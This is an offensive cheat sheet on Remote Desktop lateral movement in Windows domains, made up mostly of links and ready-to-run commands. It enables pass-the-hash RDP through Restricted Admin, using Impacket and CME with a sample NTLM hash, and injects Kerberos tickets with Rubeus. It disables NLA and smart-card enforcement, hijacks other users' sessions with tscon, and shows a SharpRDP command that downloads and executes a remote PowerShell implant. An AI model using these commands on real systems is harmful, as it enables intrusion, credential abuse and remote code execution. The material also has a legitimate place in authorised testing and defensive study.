RDP

Remote Desktop Protocol

• https://syfuhs.net/how-authentication-works-when-you-use-remote-desktop

• https://posts.specterops.io/revisiting-remote-desktop-lateral-movement-8fb905cb46c3

Look for terminal servers in a domain:

PS > Get-ADComputer -LDAPFilter "(&(objectClass=computer)(memberOf=CN=Terminal Server License Servers,CN=Builtin,$((Get-ADRootDSE).rootDomainNamingContext)))" | select dNSHostName

Terminal Services API

qwinsta

• https://blog.harmj0y.net/powershell/powerquinsta/

• https://0xv1n.github.io/posts/sessionenumeration/

• https://github.com/0xv1n/RemoteSessionEnum

Enable RDP

With meterpreter:

meterpreter > run getgui -e

With PowerShell:

PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" -Value 0
PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" -Name "UserAuthentication" -Value 1

Manually add firewall rule (if necessary):

Cmd > netsh advfirewall firewall add rule name="Allow Remote Desktop" dir=in protocol=TCP localport=3389 action=allow
PS > New-NetFirewallRule -DisplayName 'Allow Remote Desktop' -Profile @('Domain', 'Private') -Direction Inbound -Action Allow -Protocol TCP -LocalPort @('3389')

Restricted Admin

• https://www.kali.org/penetration-testing/passing-hash-remote-desktop/

• https://blog.ahasayen.com/restricted-admin-mode-for-rdp/

• https://labs.f-secure.com/blog/undisable/

• https://shellz.club/pass-the-hash-with-rdp-in-2019/

• https://github.com/GhostPack/RestrictedAdmin

• https://www.pentestpartners.com/security-blog/abusing-rdps-remote-credential-guard-with-rubeus-ptt/

RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.

Check / enable / disable with PowerShell:

PS > Get-ChildItem "HKLM:\System\CurrentControlSet\Control\Lsa" -Recurse
PS > Get-Item "HKLM:\System\CurrentControlSet\Control\Lsa"
PS > New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 0 -PropertyType "DWORD"
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin"
PS > Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin" -Value 1
PS > Remove-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DisableRestrictedAdmin"

Check / enable / disable with Impacket:

$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -s
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 0
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\System\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin -vt REG_DWORD -vd 1
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 delete -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' -v DisableRestrictedAdmin

Enable with CME:

$ cme smb 192.168.1.11 -u Administrator -H fc525c9683e8fe067095ba2ddc971889 -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

Usage:

$ xfreerdp /pth ...
Cmd > mstsc.exe /restrictedAdmin ...

Remote Credential Guard

• https://learn.microsoft.com/en-us/windows/security/identity-protection/remote-credential-guard

• https://www.pentestpartners.com/security-blog/abusing-rdps-remote-credential-guard-with-rubeus-ptt/

Cmd > ksetup /addkdc MEGACORP.LOCAL dc01.megacorp.local
Cmd > ksetup /setrealmflags MEGACORP.LOCAL tcpsupported
Cmd > shutdown -r -t 0
Cmd > Rubeus.exe asktgt /user:snovvcrash /domain:megacorp.local /dc:dc01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /service:TERMSRV/PC01.megacorp.local,CIFS/PC01.megacorp.local,HOST/PC01.megacorp.local /domain:megacorp.local /dc:dc01.megacorp.local /nowrap /ptt
Cmd > mstsc.exe /remoteGuard ...

Smart Card Authentication

Disable enforced smart card authentication during interactive logon:

PS > Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System" -Name "scforceoption"
PS > Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System" -Name "scforceoption" -Value 0

Emulating PIV

• https://www.pentestpartners.com/security-blog/living-off-the-land-ad-cs-style/

• https://github.com/CCob/PIVert

• https://twitter.com/an0n_r0/status/1560699385545195521

• https://twitter.com/snovvcrash/status/1561020682242326528

NLA

Disable NLA:

PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").UserAuthenticationRequired
PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -ComputerName "PC01" -Filter "TerminalName='RDP-tcp'").SetUserAuthenticationRequired(0)

Hijack RDP Sessions

• http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html

• https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement

• https://qtechbabble.wordpress.com/2017/04/07/use-quser-to-view-which-accounts-are-logged-inremoted-in-to-a-computer/

Run Task manager as LocalSystem to hijack other users' sessions:

PS > .\PsExec64.exe -si C:\Windows\System32\Taskmgr.exe -accepteula

The same can be achieved with tscon.exe:

PS > .\PsExec64.exe -s \\localhost cmd
PS > quser.exe
PS > cmd /k tscon.exe <ID> /dest:<CURRENT_SESSIONNAME>

Tools

• https://github.com/fortra/impacket/blob/master/examples/tstool.py

• https://github.com/netero1010/RDPHijack-BOF

Tools

SharpRDP

• https://github.com/0xthirteen/SharpRDP

• https://github.com/S3cur3Th1sSh1t/SharpRDP

Cmd > .\SharpRDP.exe computername=srv01 command="iex(new-object net.webclient).downloadstring('http://10.10.13.37:8080/grunt.ps1')" username=megacorp\snovvcrash password=Passw0rd!

SharpRDPHijack

• https://github.com/bohops/SharpRDPHijack

TakeMyRDP

• https://github.com/TheD1rkMtr/TakeMyRDP

• https://github.com/nocerainfosec/TakeMyRDP2.0